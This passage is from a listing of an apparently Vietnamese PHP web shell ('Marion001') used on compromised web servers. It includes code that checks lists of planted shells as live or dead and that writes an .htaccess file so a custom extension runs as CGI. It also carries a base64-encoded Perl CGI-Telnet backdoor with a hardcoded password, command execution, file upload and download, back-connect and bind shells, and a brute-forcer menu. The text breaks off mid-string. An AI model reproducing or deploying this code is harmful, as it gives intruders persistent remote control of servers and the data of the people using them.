  565. echo"<strong><font color=red>Shell Dia:</font></strong> - <a style="color:green;
  566. " href="".${${hrkaepl}}."\" target=_blank>".${theurl}."</a><br />";
  567.  
  568. }}if(isset($_POST["Submit"])){${hosts}=explode("\r\n",$_POST["url"]);
  569. ${values}=array();
  570. foreach(${hosts}as$host){if($host!=""){@get_http_response_code("$host");
  571.  
  572. }}echo"<br/><strong>Check Shell Th&#224;
  573. nh C&#244;
  574. ng</strong><br/><a style=\"color:green;
  575. " href="Live-Shell.txt" target="_blank"><b>Live-Shell.txt </b></a><|> <a style="color:green;
  576. " href="Dia-Shell.txt" target="_blank\"><b> Dia-Shell.txt</b></a>";
  577.  
  578. }exit;
  579.  
  580. }if(isset($_GET["CGI-Marion001"])){
  581. chdir("CGI");
  582. ${dosya}=fopen(.htaccess,"w")or die("Không thể mở tập tin");
  583. ${metin}="AddHandler cgi-script .Marion001\nAddHandler cgi-script .pl";
  584. fwrite(${dosya},${metin});
  585. fclose(${dosya});
  586. ${codecgi}="IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluCnVzZSBNSU1FOjpCYXNlNjQ7CiRWZXJzaW9uPSAiQ0dJLVRlbG5ldCBWZXJzaW9uIDEuNSI7CiRFZGl0UGVyc2lvbj0iPGZvbnQgc3R5bGU9J3RleHQtc2hhZG93OiAwcHggMHB4IDZweCByZ2IoMjU1LCAwLCAwKSwgMHB4IDBweCA1cHggcmdiKDI1NSwgMCwgMCksIDBweCAwcHggNXB4IHJnYigyNTUsIDAsIDApOyBjb2xvcjojZmZmZmZmOyBmb250LXdlaWdodDpib2xkOyc+TWFyaW9uIDAwMTwvZm9udD4iOwokUGFzc3dvcmQgPSAibWFyaW9uMDAxIjsJCQkKc3ViIElzX1dpbigpewokb3MgPSAmdHJpbSgkRU5WeyJTRVJWRVJfU09GVFdBUkUifSk7CglpZigkb3MgPX4gbS93aW4vaSl7CgkJcmV0dXJuIDE7Cgl9ZWxzZXsKCQlyZXR1cm4gMDsKCX0KfQokV2luTlQgPSAmSXNfV2luKCk7CQkJCiROVENtZFNlcCA9ICImIjsJCQkKJFVuaXhDbWRTZXAgPSAiOyI7CQkJCiRDb21tYW5kVGltZW91dER1cmF0aW9uID0gMTA7CiRTaG93RHluYW1pY091dHB1dCA9IDE7CiRDbWRTZXAgPSAoJFdpbk5UID8gJE5UQ21kU2VwIDogJFVuaXhDbWRTZXApOwokQ21kUHdkID0gKCRXaW5OVCA/ICJjZCIgOiAicHdkIik7CiRQYXRoU2VwID0gKCRXaW5OVCA/ICJcXCIgOiAiLyIpOwokUmVkaXJlY3RvciA9ICgkV2luTlQgPyAiIDI+JjEgMT4mMiIgOiAiIDE+JjEgMj4mMSIpOwokY29scz0gMTMwOwokcm93cz0gMjY7CnN1YiBSZWFkUGFyc2UgCnsKCWxvY2FsICgqaW4pID0gQF8gaWYgQF87Cglsb2NhbCAoJGksICRsb2MsICRrZXksICR2YWwpOwoJJE11bHRpcGFydEZvcm1EYXRhID0gJEVOVnsnQ09OVEVOVF9UWVBFJ30gPX4gL211bHRpcGFydFwvZm9ybS1kYXRhOyBib3VuZGFyeT0oLispJC87CglpZigkRU5WeydSRVFVRVNUX01FVEhPRCd9IGVxICJHRVQiKQoJewoJCSRpbiA9ICRFTlZ7J1FVRVJZX1NUUklORyd9OwoJfQoJZWxzaWYoJEVOVnsnUkVRVUVTVF9NRVRIT0QnfSBlcSAiUE9TVCIpCgl7CgkJYmlubW9kZShTVERJTikgaWYgJE11bHRpcGFydEZvcm1EYXRhICYgJFdpbk5UOwoJCXJlYWQoU1RESU4sICRpbiwgJEVOVnsnQ09OVEVOVF9MRU5HVEgnfSk7Cgl9CgkjIGhhbmRsZSBmaWxlIHVwbG9hZCBkYXRhCglpZigkRU5WeydDT05URU5UX1RZUEUnfSA9fiAvbXVsdGlwYXJ0XC9mb3JtLWRhdGE7IGJvdW5kYXJ5PSguKykkLykKCXsKCQkkQm91bmRhcnkgPSAnLS0nLiQxOyAjIHBsZWFzZSByZWZlciB0byBSRkMxODY3IAoJCUBsaXN0ID0gc3BsaXQoLyRCb3VuZGFyeS8sICRpbik7IAoJCSRIZWFkZXJCb2R5ID0gJGxpc3RbMV07CgkJJEhlYWRlckJvZHkgPX4gL1xyXG5cclxufFxuXG4vOwoJCSRIZWFkZXIgPSAkYDsKCQkkQm9keSA9ICQnOwogCQkkQm9keSA9fiBzL1xyXG4kLy87ICMgdGhlIGxhc3QgXHJcbiB3YXMgcHV0IGluIGJ5IE5ldHNjYXBlCgkJJGlueydmaWxlZGF0YSd9ID0gJEJvZHk7CgkJJEhlYWRlciA9fiAvZmlsZW5hbWU9XCIoLispXCIvOyAKCQkkaW57J2YnfSA9ICQxOyAKCQkkaW57J2YnfSA9fiBzL1wiLy9nOwoJCSRpbnsnZid9ID1+IHMvXHMvL2c7CgoJCSMgcGFyc2UgdHJhaWxlcgoJCWZvcigkaT0yOyAkbGlzdFskaV07ICRpKyspCgkJeyAKCQkJJGxpc3RbJGldID1+IHMvXi4rbmFtZT0kLy87CgkJCSRsaXN0WyRpXSA9fiAvXCIoXHcrKVwiLzsKCQkJJGtleSA9ICQxOwoJCQkkdmFsID0gJCc7CgkJCSR2YWwgPX4gcy8oXihcclxuXHJcbnxcblxuKSl8KFxyXG4kfFxuJCkvL2c7CgkJCSR2YWwgPX4gcy8lKC4uKS9wYWNrKCJjIiwgaGV4KCQxKSkvZ2U7CgkJCSRpbnska2V5fSA9ICR2YWw7IAoJCX0KCX0KCWVsc2UgIyBzdGFuZGFyZCBwb3N0IGRhdGEgKHVybCBlbmNvZGVkLCBub3QgbXVsdGlwYXJ0KQoJewoJCUBpbiA9IHNwbGl0KC8mLywgJGluKTsKCQlmb3JlYWNoICRpICgwIC4uICQjaW4pCgkJewoJCQkkaW5bJGldID1+IHMvXCsvIC9nOwoJCQkoJGtleSwgJHZhbCkgPSBzcGxpdCgvPS8sICRpblskaV0sIDIpOwoJCQkka2V5ID1+IHMvJSguLikvcGFjaygiYyIsIGhleCgkMSkpL2dlOwoJCQkkdmFsID1+IHMvJSguLikvcGFjaygiYyIsIGhleCgkMSkpL2dlOwoJCQkkaW57JGtleX0gLj0gIlwwIiBpZiAoZGVmaW5lZCgkaW57JGtleX0pKTsKCQkJJGlueyRrZXl9IC49ICR2YWw7CgkJfQoJfQp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBmdW5jdGlvbiBFbmNvZGVEaXI6IGVuY29kZSBiYXNlNjQgUGF0aAojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBFbmNvZGVEaXIKewoJbXkgJGRpciA9IHNoaWZ0OwoJJGRpciA9IHRyaW0oZW5jb2RlX2Jhc2U2NCgkZGlyKSk7CgkkZGlyID1+IHMvKFxyfFxuKS8vOwoJcmV0dXJuICRkaXI7Cn1zdWIgUHJpbnRQYWdlSGVhZGVyCnsKCSRFbmNvZGVDdXJyZW50RGlyID0gRW5jb2RlRGlyKCRDdXJyZW50RGlyKTsKCW15ICRpZCA9IGBpZGAgaWYoISRXaW5OVCk7CglteSAkaW5mbyA9IGB1bmFtZSAtYWA7CglwcmludCAiQ29udGVudC10eXBlOiB0ZXh0L2h0bWxcblxuIjsKCXByaW50IDw8RU5EOwo8aHRtbD48aGVhZD48bWV0YSBodHRwLWVxdWl2PSJjb250ZW50LXR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD1VVEYtOCI+PHRpdGxlPiRFTlZ7J1NFUlZFUl9OQU1FJ30gfCBJUCA6ICRFTlZ7J1NFUlZFUl9BRERSJ30gPC90aXRsZT4KJEh0bWxNZXRhSGVhZGVyCjwvaGVhZD48c3R5bGU+CmJvZHl7CmZvbnQ6IDEwcHQgVmVyZGFuYTsKY29sb3I6ICNmZmY7Cn0KdHIsdGQsdGFibGUsaW5wdXQsdGV4dGFyZWEgewpCT1JERVItUklHSFQ6ICAjM2UzZTNlIDFweCBzb2xpZDsKQk9SREVSLVRPUDogICAgIzNlM2UzZSAxcHggc29saWQ7CkJPUkRFUi1MRUZUOiAgICMzZTNlM2UgMXB4IHNvbGlkOwpCT1JERVItQk9UVE9NOiAjM2UzZTNlIDFweCBzb2xpZDsKfQojZG9tYWluIHRyOmhvdmVyewpiYWNrZ3JvdW5kLWNvbG9yOiAjNDQ0Owp9CnRkIHsKY29sb3I6ICNmZmZmZmY7Cn0KLmxpc3RkaXIgdGR7Cgl0ZXh0LWFsaWduOiBjZW50ZXI7Cn0KLmxpc3RkaXIgdGh7Cgljb2xvcjogMDBGRjAwOwp9Ci5kaXIsLmZpbGUKewoJdGV4dC1hbGlnbjogbGVmdCAhaW1wb3J0YW50Owp9Ci5kaXJ7Cglmb250LXNpemU6IDEwcHQ7IAoJZm9udC13ZWlnaHQ6IGJvbGQ7Cn0KdGFibGUgewpCQUNLR1JPVU5ELUNPTE9SOiAjMTExOwp9CmlucHV0IHsKQkFDS0dST1VORC1DT0xPUjogQmxhY2s7CmNvbG9yOiAwMEZGMDA7Cn0KaW5wdXQuc3VibWl0IHsKdGV4dC1zaGFkb3c6IDBwdCAwcHQgMC4zZW0gY3lhbiwgMHB0IDBwdCAwLjNlbSBjeWFuOwpjb2xvcjogI0ZGRkZGRjsKYm9yZGVyLWNvbG9yOiAjMDA5OTAwOwp9CmNvZGUgewpib3JkZXI6IGRhc2hlZCAwcHggIzMzMzsKY29sb3I6IHdoaWxlOwp9CnJ1biB7CmJvcmRlcgkJCTogZGFzaGVkIDBweCAjMzMzOwpjb2xvcjogI0ZGMDBBQTsKfQp0ZXh0YXJlYSB7CkJBQ0tHUk9VTkQtQ09MT1I6ICMxYjFiMWI7CmZvbnQ6IEZpeGVkc3lzIGJvbGQ7CmNvbG9yOiAwMEZGMDA7Cn0KQTpsaW5rIHsKCUNPTE9SOiAjZmZmZmZmOyBURVhULURFQ09SQVRJT046IG5vbmUKfQpBOnZpc2l0ZWQgewoJQ09MT1I6ICNmZmZmZmY7IFRFWFQtREVDT1JBVElPTjogbm9uZQp9CkE6aG92ZXIgewoJdGV4dC1zaGFkb3c6IDBwdCAwcHQgMC4zZW0gY3lhbiwgMHB0IDBwdCAwLjNlbSBjeWFuOwoJY29sb3I6ICNGRkZGRkY7IFRFWFQtREVDT1JBVElPTjogbm9uZQp9CkE6YWN0aXZlIHsKCWNvbG9yOiBSZWQ7IFRFWFQtREVDT1JBVElPTjogbm9uZQp9Ci5saXN0ZGlyIHRyOmhvdmVyewoJYmFja2dyb3VuZDogIzQ0NDsKfQoubGlzdGRpciB0cjpob3ZlciB0ZHsKCWJhY2tncm91bmQ6ICM0NDQ7Cgl0ZXh0LXNoYWRvdzogMHB0IDBwdCAwLjNlbSBjeWFuLCAwcHQgMHB0IDAuM2VtIGN5YW47Cgljb2xvcjogI0ZGRkZGRjsgVEVYVC1ERUNPUkFUSU9OOiBub25lOwp9Ci5ub3RsaW5lewoJYmFja2dyb3VuZDogIzExMTsKfQoubGluZXsKCWJhY2tncm91bmQ6ICMyMjI7Cn0KPC9zdHlsZT4KPHNjcmlwdCBsYW5ndWFnZT0iamF2YXNjcmlwdCI+CmZ1bmN0aW9uIEVuY29kZXIobmFtZSkKewoJdmFyIGUgPSAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQobmFtZSk7CgllLnZhbHVlID0gYnRvYShlLnZhbHVlKTsKCXJldHVybiB0cnVlOwp9CmZ1bmN0aW9uIGNobW9kX2Zvcm0oaSxmaWxlKQp7Cglkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiRmlsZVBlcm1zXyIraSkuaW5uZXJIVE1MPSI8Zm9ybSBuYW1lPUZvcm1QZXJtc18iICsgaSsgIiBhY3Rpb249JycgbWV0aG9kPSdQT1NUJz48aW5wdXQgaWQ9dGV4dF8iICsgaSArICIgIG5hbWU9Y2htb2QgdHlwZT10ZXh0IHNpemU9NSAvPjxpbnB1dCB0eXBlPXN1Ym1pdCBjbGFzcz0nc3VibWl0JyB2YWx1ZT1PSz48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hIHZhbHVlPSdndWknPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWQgdmFsdWU9JyRFbmNvZGVDdXJyZW50RGlyJz48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1mIHZhbHVlPSciK2ZpbGUrIic+PC9mb3JtPiI7Cglkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgidGV4dF8iICsgaSkuZm9jdXMoKTsKfQpmdW5jdGlvbiBybV9jaG1vZF9mb3JtKHJlc3BvbnNlLGkscGVybXMsZmlsZSkKewoJcmVzcG9uc2UuaW5uZXJIVE1MID0gIjxzcGFuIG9uY2xpY2s9XFxcImNobW9kX2Zvcm0oIiArIGkgKyAiLCciKyBmaWxlKyAiJylcXFwiID4iKyBwZXJtcyArIjwvc3Bhbj48L3RkPiI7Cn0KZnVuY3Rpb24gcmVuYW1lX2Zvcm0oaSxmaWxlLGYpCnsKCWYucmVwbGFjZSgvXFxcXC9nLCJcXFxcXFxcXCIpOwoJdmFyIGJhY2s9InJtX3JlbmFtZV9mb3JtKCIraSsiLFxcXCIiK2ZpbGUrIlxcXCIsXFxcIiIrZisiXFxcIik7IHJldHVybiBmYWxzZTsiOwoJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoIkZpbGVfIitpKS5pbm5lckhUTUw9Ijxmb3JtIG5hbWU9Rm9ybVBlcm1zXyIgKyBpKyAiIGFjdGlvbj0nJyBtZXRob2Q9J1BPU1QnPjxpbnB1dCBpZD10ZXh0XyIgKyBpICsgIiAgbmFtZT1yZW5hbWUgdHlwZT10ZXh0IHZhbHVlPSAnIitmaWxlKyInIC8+PGlucHV0IHR5cGU9c3VibWl0IGNsYXNzPSdzdWJtaXQnIHZhbHVlPU9LPjxpbnB1dCB0eXBlPXN1Ym1pdCBjbGFzcz0nc3VibWl0JyBvbmNsaWNrPSciICsgYmFjayArICInIHZhbHVlPUNhbmNlbD48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hIHZhbHVlPSdndWknPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWQgdmFsdWU9JyRFbmNvZGVDdXJyZW50RGlyJz48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1mIHZhbHVlPSciK2ZpbGUrIic+PC9mb3JtPiI7Cglkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgidGV4dF8iICsgaSkuZm9jdXMoKTsKfQpmdW5jdGlvbiBybV9yZW5hbWVfZm9ybShpLGZpbGUsZikKewoJaWYoZj09J2YnKQoJewoJCWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJGaWxlXyIraSkuaW5uZXJIVE1MPSI8YSBocmVmPSc/YT1jb21tYW5kJmQ9JEVuY29kZUN1cnJlbnREaXImYz1lZGl0JTIwIitmaWxlKyIlMjAnPiIgK2ZpbGUrICI8L2E+IjsKCX1lbHNlCgl7CgkJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoIkZpbGVfIitpKS5pbm5lckhUTUw9IjxhIGhyZWY9Jz9hPWd1aSZkPSIrZisiJz5bICIgK2ZpbGUrICIgXTwvYT4iOwoJfQp9Cjwvc2NyaXB0Pjxib2R5IG9uTG9hZD0iZG9jdW1lbnQuZi5AXy5mb2N1cygpIiBiZ2NvbG9yPSIjMGMwYzBjIiB0b3BtYXJnaW49IjAiIGxlZnRtYXJnaW49IjAiIG1hcmdpbndpZHRoPSIwIiBtYXJnaW5oZWlnaHQ9IjAiPjxjZW50ZXI+PGNvZGU+Cjx0YWJsZSBib3JkZXI9IjEiIHdpZHRoPSIxMDAlIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjIiPjx0cj48dGQgYWxpZ249ImNlbnRlciIgcm93c3Bhbj0zPjxiPjxmb250IHNpemU9IjMiPiRFZGl0UGVyc2lvbjwvZm9udD48L2I+PC90ZD48dGQ+CgkJJGluZm8KPC90ZD48dGQ+U2VydmVyIElQOjxmb250IGNvbG9yPSJyZWQiPiAkRU5WeydTRVJWRVJfQUREUid9PC9mb250PiB8IFlvdXIgSVA6IDxmb250IGNvbG9yPSJyZWQiPiRFTlZ7J1JFTU9URV9BRERSJ308L2ZvbnQ+PC90ZD48L3RyPjx0cj48dGQgY29sc3Bhbj0iMiI+CjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbiI+SG9tZTwvYT4gfCAKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9Y29tbWFuZCZkPSRFbmNvZGVDdXJyZW50RGlyIj5Db21tYW5kPC9hPiB8CjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWd1aSZkPSRFbmNvZGVDdXJyZW50RGlyIj5HVUk8L2E+IHwgCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPXVwbG9hZCZkPSRFbmNvZGVDdXJyZW50RGlyIj5VcGxvYWQgRmlsZTwvYT4gfCAKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9ZG93bmxvYWQmZD0kRW5jb2RlQ3VycmVudERpciI+VCYjNzg0MztpIFh1JiM3ODg5O25nIEZpbGU8L2E+IHwKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9YmFja2JpbmQiPkJhY2sgJiBCaW5kPC9hPiB8CjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWJydXRlZm9yY2VyIj5CcnV0ZSBGb3JjZXI8L2E+IHwKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9Y2hlY2tsb2ciPkNoZWNrIExvZzwvYT4gfAo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1kb21haW5zdXNlciI+RG9tYWlucy9Vc2VyczwvYT4gfAo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1jb25maWdtYXJpb24iPkFsbC9Db25maWcuTWFyaW9uMDAxPC9hPiB8CjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWxvZ291dCI+JiMyNzI7JiMyNTk7bmcgWHUmIzc4NDU7dDwvYT4gfAo8YSB0YXJnZXQ9J19ibGFuaycgaHJlZj0iLi4vZXJyb3JfbG9nLnBocCI+SGVscDwvYT48L3RkPjwvdHI+PHRyPjx0ZCBjb2xzcGFuPSIyIj4KJGlkCjwvdGQ+PC90cj48L3RhYmxlPjxmb250IGlkPSJSZXNwb25zZURhdGEiIGNvbG9yPSIjRkZGRkZGIiA+CgpFTkQKfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBMb2dpbiBTY3JlZW4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUHJpbnRMb2dpblNjcmVlbgp7CglwcmludCA8PEVORDsKPHByZT48c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+ClR5cGluZ1RleHQgPSBmdW5jdGlvbihlbGVtZW50LCBpbnRlcnZhbCwgY3Vyc29yLCBmaW5pc2hlZENhbGxiYWNrKSB7CiAgaWYoKHR5cGVvZiBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCA9PSAidW5kZWZpbmVkIikgfHwgKHR5cGVvZiBlbGVtZW50LmlubmVySFRNTCA9PSAidW5kZWZpbmVkIikpIHsKICAgIHRoaXMucnVubmluZyA9IHRydWU7CS8vIE5ldmVyIHJ1bi4KICAgIHJldHVybjsKICB9CiAgdGhpcy5lbGVtZW50ID0gZWxlbWVudDsKICB0aGlzLmZpbmlzaGVkQ2FsbGJhY2sgPSAoZmluaXNoZWRDYWxsYmFjayA/IGZpbmlzaGVkQ2FsbGJhY2sgOiBmdW5jdGlvbigpIHsgcmV0dXJuOyB9KTsKICB0aGlzLmludGVydmFsID0gKHR5cGVvZiBpbnRlcnZhbCA9PSAidW5kZWZpbmVkIiA/IDEwMCA6IGludGVydmFsKTsKICB0aGlzLm9yaWdUZXh0ID0gdGhpcy5lbGVtZW50LmlubmVySFRNTDsKICB0aGlzLnVucGFyc2VkT3JpZ1RleHQgPSB0aGlzLm9yaWdUZXh0OwogIHRoaXMuY3Vyc29yID0gKGN1cnNvciA/IGN1cnNvciA6ICIiKTsKICB0aGlzLmN1cnJlbnRUZXh0ID0gIiI7CiAgdGhpcy5jdXJyZW50Q2hhciA9IDA7CiAgdGhpcy5lbGVtZW50LnR5cGluZ1RleHQgPSB0aGlzOwogIGlmKHRoaXMuZWxlbWVudC5pZCA9PSAiIikgdGhpcy5lbGVtZW50LmlkID0gInR5cGluZ3RleHQiICsgVHlwaW5nVGV4dC5jdXJyZW50SW5kZXgrKzsKICBUeXBpbmdUZXh0LmFsbC5wdXNoKHRoaXMpOwogIHRoaXMucnVubmluZyA9IGZhbHNlOwogIHRoaXMuaW5UYWcgPSBmYWxzZTsKICB0aGlzLnRhZ0J1ZmZlciA9ICIiOwogIHRoaXMuaW5IVE1MRW50aXR5ID0gZmFsc2U7CiAgdGhpcy5IVE1MRW50aXR5QnVmZmVyID0gIiI7Cn0KVHlwaW5nVGV4dC5hbGwgPSBuZXcgQXJyYXkoKTsKVHlwaW5nVGV4dC5jdXJyZW50SW5kZXggPSAwOwpUeXBpbmdUZXh0LnJ1bkFsbCA9IGZ1bmN0aW9uKCkgewogIGZvcih2YXIgaSA9IDA7IGkgPCBUeXBpbmdUZXh0LmFsbC5sZW5ndGg7IGkrKykgVHlwaW5nVGV4dC5hbGxbaV0ucnVuKCk7Cn0KVHlwaW5nVGV4dC5wcm90b3R5cGUucnVuID0gZnVuY3Rpb24oKSB7CiAgaWYodGhpcy5ydW5uaW5nKSByZXR1cm47CiAgaWYodHlwZW9mIHRoaXMub3JpZ1RleHQgPT0gInVuZGVmaW5lZCIpIHsKICAgIHNldFRpbWVvdXQoImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCciICsgdGhpcy5lbGVtZW50LmlkICsgIicpLnR5cGluZ1RleHQucnVuKCkiLCB0aGlzLmludGVydmFsKTsJLy8gV2UgaGF2ZW4ndCBmaW5pc2hlZCBsb2FkaW5nIHlldC4gIEhhdmUgcGF0aWVuY2UuCiAgICByZXR1cm47CiAgfQogIGlmKHRoaXMuY3VycmVudFRleHQgPT0gIiIpIHRoaXMuZWxlbWVudC5pbm5lckhUTUwgPSAiIjsKLy8gIHRoaXMub3JpZ1RleHQgPSB0aGlzLm9yaWdUZXh0LnJlcGxhY2UoLzwoW148XSkqPi8sICIiKTsgICAgIC8vIFN0cmlwIEhUTUwgZnJvbSB0ZXh0LgogIGlmKHRoaXMuY3VycmVudENoYXIgPCB0aGlzLm9yaWdUZXh0Lmxlbmd0aCkgewogICAgaWYodGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcikgPT0gIjwiICYmICF0aGlzLmluVGFnKSB7CiAgICAgIHRoaXMudGFnQnVmZmVyID0gIjwiOwogICAgICB0aGlzLmluVGFnID0gdHJ1ZTsKICAgICAgdGhpcy5jdXJyZW50Q2hhcisrOwogICAgICB0aGlzLnJ1bigpOwogICAgICByZXR1cm47CiAgICB9IGVsc2UgaWYodGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcikgPT0gIj4iICYmIHRoaXMuaW5UYWcpIHsKICAgICAgdGhpcy50YWdCdWZmZXIgKz0gIj4iOwogICAgICB0aGlzLmluVGFnID0gZmFsc2U7CiAgICAgIHRoaXMuY3VycmVudFRleHQgKz0gdGhpcy50YWdCdWZmZXI7CiAgICAgIHRoaXMuY3VycmVudENoYXIrKzsKICAgICAgdGhpcy5ydW4oKTsKICAgICAgcmV0dXJuOwogICAgfSBlbHNlIGlmKHRoaXMuaW5UYWcpIHsKICAgICAgdGhpcy50YWdCdWZmZXIgKz0gdGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcik7CiAgICAgIHRoaXMuY3VycmVudENoYXIrKzsKICAgICAgdGhpcy5ydW4oKTsKICAgICAgcmV0dXJuOwogICAgfSBlbHNlIGlmKHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpID09ICImIiAmJiAhdGhpcy5pbkhUTUxFbnRpdHkpIHsKICAgICAgdGhpcy5IVE1MRW50aXR5QnVmZmVyID0gIiYiOwogICAgICB0aGlzLmluSFRNTEVudGl0eSA9IHRydWU7CiAgICAgIHRoaXMuY3VycmVudENoYXIrKzsKICAgICAgdGhpcy5ydW4oKTsKICAgICAgcmV0dXJuOwogICAgfSBlbHNlIGlmKHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpID09ICI7IiAmJiB0aGlzLmluSFRNTEVudGl0eSkgewogICAgICB0aGlzLkhUTUxFbnRpdHlCdWZmZXIgKz0gIjsiOwogICAgICB0aGlzLmluSFRNTEVudGl0eSA9IGZhbHNlOwogICAgICB0aGlzLmN1cnJlbnRUZXh0ICs9IHRoaXMuSFRNTEVudGl0eUJ1ZmZlcjsKICAgICAgdGhpcy5jdXJyZW50Q2hhcisrOwogICAgICB0aGlzLnJ1bigpOwogICAgICByZXR1cm47CiAgICB9IGVsc2UgaWYodGhpcy5pbkhUTUxFbnRpdHkpIHsKICAgICAgdGhpcy5IVE1MRW50aXR5QnVmZmVyICs9IHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpOwogICAgICB0aGlzLmN1cnJlbnRDaGFyKys7CiAgICAgIHRoaXMucnVuKCk7CiAgICAgIHJldHVybjsKICAgIH0gZWxzZSB7CiAgICAgIHRoaXMuY3VycmVudFRleHQgKz0gdGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcik7CiAgICB9CiAgICB0aGlzLmVsZW1lbnQuaW5uZXJIVE1MID0gdGhpcy5jdXJyZW50VGV4dDsKICAgIHRoaXMuZWxlbWVudC5pbm5lckhUTUwgKz0gKHRoaXMuY3VycmVudENoYXIgPCB0aGlzLm9yaWdUZXh0Lmxlbmd0aCAtIDEgPyAodHlwZW9mIHRoaXMuY3Vyc29yID09ICJmdW5jdGlvbiIgPyB0aGlzLmN1cnNvcih0aGlzLmN1cnJlbnRUZXh0KSA6IHRoaXMuY3Vyc29yKSA6ICIiKTsKICAgIHRoaXMuY3VycmVudENoYXIrKzsKICAgIHNldFRpbWVvdXQoImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCciICsgdGhpcy5lbGVtZW50LmlkICsgIicpLnR5cGluZ1RleHQucnVuKCkiLCB0aGlzLmludGVydmFsKTsKICB9IGVsc2UgewoJdGhpcy5jdXJyZW50VGV4dCA9ICIiOwoJdGhpcy5jdXJyZW50Q2hhciA9IDA7CiAgICAgICAgdGhpcy5ydW5uaW5nID0gZmFsc2U7CiAgICAgICAgdGhpcy5maW5pc2hlZENhbGxiYWNrKCk7CiAgfQp9Cjwvc2NyaXB0PjwvcHJlPjxicj48c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+Cm5ldyBUeXBpbmdUZXh0KGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJoYWNrIiksIDMwLCBmdW5jdGlvbihpKXsgdmFyIGFyID0gbmV3IEFycmF5KCJfIiwiIik7IHJldHVybiAiICIgKyBhcltpLmxlbmd0aCAlIGFyLmxlbmd0aF07IH0pOwpUeXBpbmdUZXh0LnJ1bkFsbCgpOwo8L3NjcmlwdD4KRU5ECn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIGVuY29kZSBodG1sIHNwZWNpYWwgY2hhcnMKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgVXJsRW5jb2RlKCQpewoJbXkgJHN0ciA9IHNoaWZ0OwoJJHN0ciA9fiBzLyhbXkEtWmEtejAtOV0pL3NwcmludGYoIiUlJTAyWCIsIG9yZCgkMSkpL3NlZzsKCXJldHVybiAkc3RyOwp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBBZGQgaHRtbCBzcGVjaWFsIGNoYXJzCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIEh0bWxTcGVjaWFsQ2hhcnMoJCl7CglteSAkdGV4dCA9IHNoaWZ0OwoJJHRleHQgPX4gcy8mLyZhbXA7L2c7CgkkdGV4dCA9fiBzLyIvJnF1b3Q7L2c7CgkkdGV4dCA9fiBzLycvJiMwMzk7L2c7CgkkdGV4dCA9fiBzLzwvJmx0Oy9nOwoJJHRleHQgP